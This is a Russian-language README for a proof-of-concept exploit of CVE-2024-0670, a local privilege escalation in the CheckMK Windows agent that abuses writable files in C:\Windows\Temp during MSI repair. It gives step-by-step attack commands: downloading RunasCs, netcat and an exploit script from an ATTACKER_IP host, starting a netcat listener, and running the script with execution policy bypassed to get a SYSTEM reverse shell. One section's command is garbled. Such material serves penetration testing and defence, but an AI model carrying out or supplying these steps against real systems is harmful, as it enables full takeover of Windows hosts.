CVE-2024-0670 – Локальное повышение привилегий агента CheckMK (PoC)

Этот репозиторий содержит простую и чистую proof-of-concept для CVE-2024-0670 — уязвимости локального повышения привилегий в агенте CheckMK для Windows. Пользователь с низкими привилегиями может получить права SYSTEM, злоупотребив записываемыми временными файлами, которые выполняются во время восстановления MSI.

🔍 Сводка уязвимости

• Vendor: Tribe29
• CVE: CVE-2024-0670
• Advisory: https://sec-consult.com/vulnerability-lab/advisory/local-privilege-escalation-via-writable-files-in-checkmk-agent/

Во время восстановления MSI CheckMK выполняет файлы из:

  C:\Windows\Temp\

Если обычный пользователь может поместить туда файлы с предсказуемыми именами, он может выполнять команды от имени NT AUTHORITY\SYSTEM.

Этот эксплойт подставляет несколько имен файлов с полезной нагрузкой и запускает восстановление MSI для получения выполнения от имени SYSTEM.

📂 Файлы

RunasCs.exe     → замена runas (поддержка пароля в открытом виде)
nc.exe          → Netcat (обратная оболочка)
exploit.ps1     → скрипт эксплойта CVE-2024-0670
README.md       → документация

🛠 Требования

• Пользователь Windows с низкими привилегиями
• Включённый PowerShell
• Установленный агент CheckMK для Windows
• Возможность загрузки файлов
• Python (для простого HTTP-сервера)
• Слушатель Netcat на машине атакующего

📡 Запуск HTTP-сервера

  C:\Windows\Temp\

📥 Загрузка инструментов на цель

Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/RunasCs.exe" -OutFile "C:\Windows\Temp\RunasCs.exe"
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/nc.exe" -OutFile "C:\Windows\Temp\nc.exe"
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/exploit.ps1" -OutFile "C:\Windows\Temp\exploit.ps1

🚀 Запуск эксплойта

Запустите слушатель на своей машине:

nc -lvnp 1111

.\RunasCs.exe username "password" "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\exploit.ps1"

В случае успеха вы получите обратную оболочку с правами SYSTEM.

🔧 Сборка RunasCs вручную (опционально)

net4: 
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:RunasCs.exe RunasCs.cs 

net2: 
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe -target:exe -optimize -out:RunasCs_net2.exe RunasCs.cs

⚖️ Юридическое предупреждение

Этот проект предназначен только для образовательных целей и санкционированного тестирования на проникновение. Не используйте его в незаконных целях. Автор не несёт ответственности за неправильное использование.